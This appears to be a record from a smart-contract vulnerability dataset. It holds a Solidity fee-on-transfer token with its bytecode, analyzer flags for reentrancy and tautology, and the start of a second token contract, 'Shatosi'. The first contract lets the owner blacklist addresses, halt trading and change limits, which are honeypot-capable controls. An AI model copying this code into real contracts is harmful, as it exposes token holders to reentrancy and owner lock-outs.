return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
require(
rAmount <= _rTotal,
"Amount must be less than total reflections"
);
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if (_redisFee == 0 && _taxFee == 0) return;
_previousredisFee = _redisFee;
_previoustaxFee = _taxFee;
_redisFee = 0;
_taxFee = 0;
}
function restoreAllFee() private {
_redisFee = _previousredisFee;
_taxFee = _previoustaxFee;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
//Trade start check
if (!tradingOpen) {
require(from == owner(), "TOKEN: This account cannot send tokens until trading is enabled");
}
require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit");
require(!bots[from] && !bots[to], "TOKEN: Your account is blacklisted!");
if(to != uniswapV2Pair) {
require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!");
}
uint256 contractTokenBalance = balanceOf(address(this));
bool canSwap = contractTokenBalance >= _swapTokensAtAmount;
if(contractTokenBalance >= _maxTxAmount)
{
contractTokenBalance = _maxTxAmount;
}
if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
//Transfer Tokens
if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) {
takeFee = false;
} else {
//Set Fee for Buys
if(from == uniswapV2Pair && to != address(uniswapV2Router)) {
_redisFee = _redisFeeOnBuy;
_taxFee = _taxFeeOnBuy;
}
//Set Fee for Sells
if (to == uniswapV2Pair && from != address(uniswapV2Router)) {
_redisFee = _redisFeeOnSell;
_taxFee = _taxFeeOnSell;
}
}
_tokenTransfer(from, to, amount, takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_marketingAddress.transfer(amount);
}
function setTrading(bool _tradingOpen) public onlyOwner {
tradingOpen = _tradingOpen;
}
function manualswap() external {
require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function blockBots(address[] memory bots_) public onlyOwner {
for (uint256 i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function unblockBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tTeam
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
_getTValues(tAmount, _redisFee, _taxFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
_getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(
uint256 tAmount,
uint256 redisFee,
uint256 taxFee
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 tFee = tAmount.mul(redisFee).div(100);
uint256 tTeam = tAmount.mul(taxFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setFee(uint256 redisFeeOnBuy, uint256 redisFeeOnSell, uint256 taxFeeOnBuy, uint256 taxFeeOnSell) public onlyOwner {
require(redisFeeOnBuy >= 0 && redisFeeOnBuy <= 4, "Buy rewards must be between 0% and 4%");
require(taxFeeOnBuy >= 0 && taxFeeOnBuy <= 20, "Buy tax must be between 0% and 20%");
require(redisFeeOnSell >= 0 && redisFeeOnSell <= 4, "Sell rewards must be between 0% and 4%");
require(taxFeeOnSell >= 0 && taxFeeOnSell <= 20, "Sell tax must be between 0% and 20%");
_redisFeeOnBuy = redisFeeOnBuy;
_redisFeeOnSell = redisFeeOnSell;
_taxFeeOnBuy = taxFeeOnBuy;
_taxFeeOnSell = taxFeeOnSell;
}
//Set minimum tokens required to swap.
function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) public onlyOwner {
_swapTokensAtAmount = swapTokensAtAmount;
}
//Set minimum tokens required to swap.
function toggleSwap(bool _swapEnabled) public onlyOwner {
swapEnabled = _swapEnabled;
}
//Set maximum transaction
function setMaxTxnAmount(uint256 maxTxAmount) public onlyOwner {
if (maxTxAmount > 5000000000 * 10**9) {
_maxTxAmount = maxTxAmount;
}
}
function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner {
_maxWalletSize = maxWalletSize;
}
function excludeMultipleAccountsFromFees(address[] calldata accounts, bool excluded) public onlyOwner {
for(uint256 i = 0; i < accounts.length; i++) {
_isExcludedFromFee[accounts[i]] = excluded;
}
}
}
|
0x6080604052600436106101d05760003560e01c80637d1db4a5116100f7578063a2a957bb11610095578063c492f04611610064578063c492f04614610557578063dd62ed3e14610577578063ea1644d5146105bd578063f2fde38b146105dd57600080fd5b8063a2a957bb146104d2578063a9059cbb146104f2578063bfd7928414610512578063c3c8cd801461054257600080fd5b80638f70ccf7116100d15780638f70ccf71461044d5780638f9a55c01461046d57806395d89b411461048357806398a5c315146104b257600080fd5b80637d1db4a5146103ec5780637f2feddc146104025780638da5cb5b1461042f57600080fd5b8063313ce5671161016f5780636fc3eaec1161013e5780636fc3eaec1461038257806370a0823114610397578063715018a6146103b757806374010ece146103cc57600080fd5b8063313ce5671461030657806349bd5a5e146103225780636b999053146103425780636d8aa8f81461036257600080fd5b80631694505e116101ab5780631694505e1461027257806318160ddd146102aa57806323b872dd146102d05780632fd689e3146102f057600080fd5b8062b8cf2a146101dc57806306fdde03146101fe578063095ea7b31461024257600080fd5b366101d757005b600080fd5b3480156101e857600080fd5b506101fc6101f7366004611aeb565b6105fd565b005b34801561020a57600080fd5b5060408051808201909152600981526853686962456c6f6e6160b81b60208201525b6040516102399190611bb0565b60405180910390f35b34801561024e57600080fd5b5061026261025d366004611c05565b61069c565b6040519015158152602001610239565b34801561027e57600080fd5b50601454610292906001600160a01b031681565b6040516001600160a01b039091168152602001610239565b3480156102b657600080fd5b50683635c9adc5dea000005b604051908152602001610239565b3480156102dc57600080fd5b506102626102eb366004611c31565b6106b3565b3480156102fc57600080fd5b506102c260185481565b34801561031257600080fd5b5060405160098152602001610239565b34801561032e57600080fd5b50601554610292906001600160a01b031681565b34801561034e57600080fd5b506101fc61035d366004611c72565b61071c565b34801561036e57600080fd5b506101fc61037d366004611c9f565b610767565b34801561038e57600080fd5b506101fc6107af565b3480156103a357600080fd5b506102c26103b2366004611c72565b6107fa565b3480156103c357600080fd5b506101fc61081c565b3480156103d857600080fd5b506101fc6103e7366004611cba565b610890565b3480156103f857600080fd5b506102c260165481565b34801561040e57600080fd5b506102c261041d366004611c72565b60116020526000908152604090205481565b34801561043b57600080fd5b506000546001600160a01b0316610292565b34801561045957600080fd5b506101fc610468366004611c9f565b6108cf565b34801561047957600080fd5b506102c260175481565b34801561048f57600080fd5b5060408051808201909152600681526553454c4f4e4160d01b602082015261022c565b3480156104be57600080fd5b506101fc6104cd366004611cba565b610917565b3480156104de57600080fd5b506101fc6104ed366004611cd3565b610946565b3480156104fe57600080fd5b5061026261050d366004611c05565b610afc565b34801561051e57600080fd5b5061026261052d366004611c72565b60106020526000908152604090205460ff1681565b34801561054e57600080fd5b506101fc610b09565b34801561056357600080fd5b506101fc610572366004611d05565b610b5d565b34801561058357600080fd5b506102c2610592366004611d89565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b3480156105c957600080fd5b506101fc6105d8366004611cba565b610bfe565b3480156105e957600080fd5b506101fc6105f8366004611c72565b610c2d565b6000546001600160a01b031633146106305760405162461bcd60e51b815260040161062790611dc2565b60405180910390fd5b60005b81518110156106985760016010600084848151811061065457610654611df7565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061069081611e23565b915050610633565b5050565b60006106a9338484610d17565b5060015b92915050565b60006106c0848484610e3b565b610712843361070d85604051806060016040528060288152602001611f3d602891396001600160a01b038a1660009081526004602090815260408083203384529091529020549190611377565b610d17565b5060019392505050565b6000546001600160a01b031633146107465760405162461bcd60e51b815260040161062790611dc2565b6001600160a01b03166000908152601060205260409020805460ff19169055565b6000546001600160a01b031633146107915760405162461bcd60e51b815260040161062790611dc2565b60158054911515600160b01b0260ff60b01b19909216919091179055565b6012546001600160a01b0316336001600160a01b031614806107e457506013546001600160a01b0316336001600160a01b0316145b6107ed57600080fd5b476107f7816113b1565b50565b6001600160a01b0381166000908152600260205260408120546106ad906113eb565b6000546001600160a01b031633146108465760405162461bcd60e51b815260040161062790611dc2565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146108ba5760405162461bcd60e51b815260040161062790611dc2565b674563918244f400008111156107f757601655565b6000546001600160a01b031633146108f95760405162461bcd60e51b815260040161062790611dc2565b60158054911515600160a01b0260ff60a01b19909216919091179055565b6000546001600160a01b031633146109415760405162461bcd60e51b815260040161062790611dc2565b601855565b6000546001600160a01b031633146109705760405162461bcd60e51b815260040161062790611dc2565b60048411156109cf5760405162461bcd60e51b815260206004820152602560248201527f4275792072657761726473206d757374206265206265747765656e20302520616044820152646e6420342560d81b6064820152608401610627565b6014821115610a2b5760405162461bcd60e51b815260206004820152602260248201527f42757920746178206d757374206265206265747765656e20302520616e642032604482015261302560f01b6064820152608401610627565b6004831115610a8b5760405162461bcd60e51b815260206004820152602660248201527f53656c6c2072657761726473206d757374206265206265747765656e20302520604482015265616e6420342560d01b6064820152608401610627565b6014811115610ae85760405162461bcd60e51b815260206004820152602360248201527f53656c6c20746178206d757374206265206265747765656e20302520616e642060448201526232302560e81b6064820152608401610627565b600893909355600a91909155600955600b55565b60006106a9338484610e3b565b6012546001600160a01b0316336001600160a01b03161480610b3e57506013546001600160a01b0316336001600160a01b0316145b610b4757600080fd5b6000610b52306107fa565b90506107f78161146f565b6000546001600160a01b03163314610b875760405162461bcd60e51b815260040161062790611dc2565b60005b82811015610bf8578160056000868685818110610ba957610ba9611df7565b9050602002016020810190610bbe9190611c72565b6001600160a01b031681526020810191909152604001600020805460ff191691151591909117905580610bf081611e23565b915050610b8a565b50505050565b6000546001600160a01b03163314610c285760405162461bcd60e51b815260040161062790611dc2565b601755565b6000546001600160a01b03163314610c575760405162461bcd60e51b815260040161062790611dc2565b6001600160a01b038116610cbc5760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610627565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b038316610d795760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610627565b6001600160a01b038216610dda5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610627565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610e9f5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610627565b6001600160a01b038216610f015760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610627565b60008111610f635760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610627565b6000546001600160a01b03848116911614801590610f8f57506000546001600160a01b03838116911614155b1561127057601554600160a01b900460ff16611028576000546001600160a01b038481169116146110285760405162461bcd60e51b815260206004820152603f60248201527f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e642060448201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c6564006064820152608401610627565b60165481111561107a5760405162461bcd60e51b815260206004820152601c60248201527f544f4b454e3a204d6178205472616e73616374696f6e204c696d6974000000006044820152606401610627565b6001600160a01b03831660009081526010602052604090205460ff161580156110bc57506001600160a01b03821660009081526010602052604090205460ff16155b6111145760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a20596f7572206163636f756e7420697320626c61636b6c69737460448201526265642160e81b6064820152608401610627565b6015546001600160a01b038381169116146111995760175481611136846107fa565b6111409190611e3e565b106111995760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a2042616c616e636520657863656564732077616c6c65742073696044820152627a652160e81b6064820152608401610627565b60006111a4306107fa565b6018546016549192508210159082106111bd5760165491505b8080156111d45750601554600160a81b900460ff16155b80156111ee57506015546001600160a01b03868116911614155b80156112035750601554600160b01b900460ff165b801561122857506001600160a01b03851660009081526005602052604090205460ff16155b801561124d57506001600160a01b03841660009081526005602052604090205460ff16155b1561126d5761125b8261146f565b47801561126b5761126b476113b1565b505b50505b6001600160a01b03831660009081526005602052604090205460019060ff16806112b257506001600160a01b03831660009081526005602052604090205460ff165b806112e457506015546001600160a01b038581169116148015906112e457506015546001600160a01b03848116911614155b156112f15750600061136b565b6015546001600160a01b03858116911614801561131c57506014546001600160a01b03848116911614155b1561132e57600854600c55600954600d555b6015546001600160a01b03848116911614801561135957506014546001600160a01b03858116911614155b1561136b57600a54600c55600b54600d555b610bf8848484846115f8565b6000818484111561139b5760405162461bcd60e51b81526004016106279190611bb0565b5060006113a88486611e56565b95945050505050565b6013546040516001600160a01b039091169082156108fc029083906000818181858888f19350505050158015610698573d6000803e3d6000fd5b60006006548211156114525760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b6064820152608401610627565b600061145c611626565b90506114688382611649565b9392505050565b6015805460ff60a81b1916600160a81b17905560408051600280825260608201835260009260208301908036833701905050905030816000815181106114b7576114b7611df7565b6001600160a01b03928316602091820292909201810191909152601454604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b15801561150b57600080fd5b505afa15801561151f573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906115439190611e6d565b8160018151811061155657611556611df7565b6001600160a01b03928316602091820292909201015260145461157c9130911684610d17565b60145460405163791ac94760e01b81526001600160a01b039091169063791ac947906115b5908590600090869030904290600401611e8a565b600060405180830381600087803b1580156115cf57600080fd5b505af11580156115e3573d6000803e3d6000fd5b50506015805460ff60a81b1916905550505050565b806116055761160561168b565b6116108484846116b9565b80610bf857610bf8600e54600c55600f54600d55565b60008060006116336117b0565b90925090506116428282611649565b9250505090565b600061146883836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506117f2565b600c5415801561169b5750600d54155b156116a257565b600c8054600e55600d8054600f5560009182905555565b6000806000806000806116cb87611820565b6001600160a01b038f16600090815260026020526040902054959b509399509197509550935091506116fd908761187d565b6001600160a01b03808b1660009081526002602052604080822093909355908a168152205461172c90866118bf565b6001600160a01b03891660009081526002602052604090205561174e8161191e565b6117588483611968565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161179d91815260200190565b60405180910390a3505050505050505050565b6006546000908190683635c9adc5dea000006117cc8282611649565b8210156117e957505060065492683635c9adc5dea0000092509050565b90939092509050565b600081836118135760405162461bcd60e51b81526004016106279190611bb0565b5060006113a88486611efb565b600080600080600080600080600061183d8a600c54600d5461198c565b925092509250600061184d611626565b905060008060006118608e8787876119e1565b919e509c509a509598509396509194505050505091939550919395565b600061146883836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611377565b6000806118cc8385611e3e565b9050838110156114685760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610627565b6000611928611626565b905060006119368383611a31565b3060009081526002602052604090205490915061195390826118bf565b30600090815260026020526040902055505050565b600654611975908361187d565b60065560075461198590826118bf565b6007555050565b60008080806119a660646119a08989611a31565b90611649565b905060006119b960646119a08a89611a31565b905060006119d1826119cb8b8661187d565b9061187d565b9992985090965090945050505050565b60008080806119f08886611a31565b905060006119fe8887611a31565b90506000611a0c8888611a31565b90506000611a1e826119cb868661187d565b939b939a50919850919650505050505050565b600082611a40575060006106ad565b6000611a4c8385611f1d565b905082611a598583611efb565b146114685760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610627565b634e487b7160e01b600052604160045260246000fd5b6001600160a01b03811681146107f757600080fd5b8035611ae681611ac6565b919050565b60006020808385031215611afe57600080fd5b823567ffffffffffffffff80821115611b1657600080fd5b818501915085601f830112611b2a57600080fd5b813581811115611b3c57611b3c611ab0565b8060051b604051601f19603f83011681018181108582111715611b6157611b61611ab0565b604052918252848201925083810185019188831115611b7f57600080fd5b938501935b82851015611ba457611b9585611adb565b84529385019392850192611b84565b98975050505050505050565b600060208083528351808285015260005b81811015611bdd57858101830151858201604001528201611bc1565b81811115611bef576000604083870101525b50601f01601f1916929092016040019392505050565b60008060408385031215611c1857600080fd5b8235611c2381611ac6565b946020939093013593505050565b600080600060608486031215611c4657600080fd5b8335611c5181611ac6565b92506020840135611c6181611ac6565b929592945050506040919091013590565b600060208284031215611c8457600080fd5b813561146881611ac6565b80358015158114611ae657600080fd5b600060208284031215611cb157600080fd5b61146882611c8f565b600060208284031215611ccc57600080fd5b5035919050565b60008060008060808587031215611ce957600080fd5b5050823594602084013594506040840135936060013592509050565b600080600060408486031215611d1a57600080fd5b833567ffffffffffffffff80821115611d3257600080fd5b818601915086601f830112611d4657600080fd5b813581811115611d5557600080fd5b8760208260051b8501011115611d6a57600080fd5b602092830195509350611d809186019050611c8f565b90509250925092565b60008060408385031215611d9c57600080fd5b8235611da781611ac6565b91506020830135611db781611ac6565b809150509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b6000600019821415611e3757611e37611e0d565b5060010190565b60008219821115611e5157611e51611e0d565b500190565b600082821015611e6857611e68611e0d565b500390565b600060208284031215611e7f57600080fd5b815161146881611ac6565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611eda5784516001600160a01b031683529383019391830191600101611eb5565b50506001600160a01b03969096166060850152505050608001529392505050565b600082611f1857634e487b7160e01b600052601260045260246000fd5b500490565b6000816000190483118215151615611f3757611f37611e0d565b50029056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212204f2584e63c7fee8804e52aa51d0bdb72781f3aa8cc9c81a911c73084ae77705064736f6c63430008090033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "tautology", "impact": "Medium", "confidence": "High"}]}}
| 4,323 |
0x8Feb4a92BAc99180d8EAe36cec3390B3a22C4763
|
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.6.12;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this;
return msg.data;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
library Address {
function isContract(address account) internal view returns (bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
if (returndata.length > 0) {
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() public{
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
}
contract Shatosi is Context, IERC20, Ownable {
using SafeMath for uint256;
using Address for address;
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
address[] private _excluded;
string private _name = 'Shatosi';
string private _symbol = 'SHATO';
uint8 private constant _decimals = 9;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _taxFee = 3;
uint256 private _burnFee = 2;
uint256 private _teamFee = 5;
mapping(address => bool) private bots;
mapping(address => uint256) private buycooldown;
mapping(address => uint256) private sellcooldown;
mapping(address => uint256) private firstsell;
mapping(address => uint256) private sellnumber;
address payable private _teamAddress;
address payable private _marketingFunds;
address payable public immutable _deadAddress = 0x000000000000000000000000000000000000dEaD;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen = true;
bool private inSwap = false;
bool private swapEnabled = true;
bool private cooldownEnabled = true;
uint256 public _maxBuyAmount = 10000000000 * 10**9;
uint256 public _maxSellAmount = 100000000 * 10**9;
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor(address payable addr1, address payable addr2) public{
_teamAddress = addr1;
_marketingFunds = addr2;
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router = _uniswapV2Router;
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_teamAddress] = true;
_isExcludedFromFee[_marketingFunds] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender,_msgSender(),_allowances[sender][_msgSender()].sub(amount,"ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function totalFees() public view returns (uint256) {
return _tFeeTotal;
}
function tokenFromReflection(uint256 rAmount) private view returns (uint256) {
require(rAmount <= _rTotal,"Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
_taxFee = 0;
_burnFee = 0;
_teamFee = 0;
}
function restoreAllFee() private {
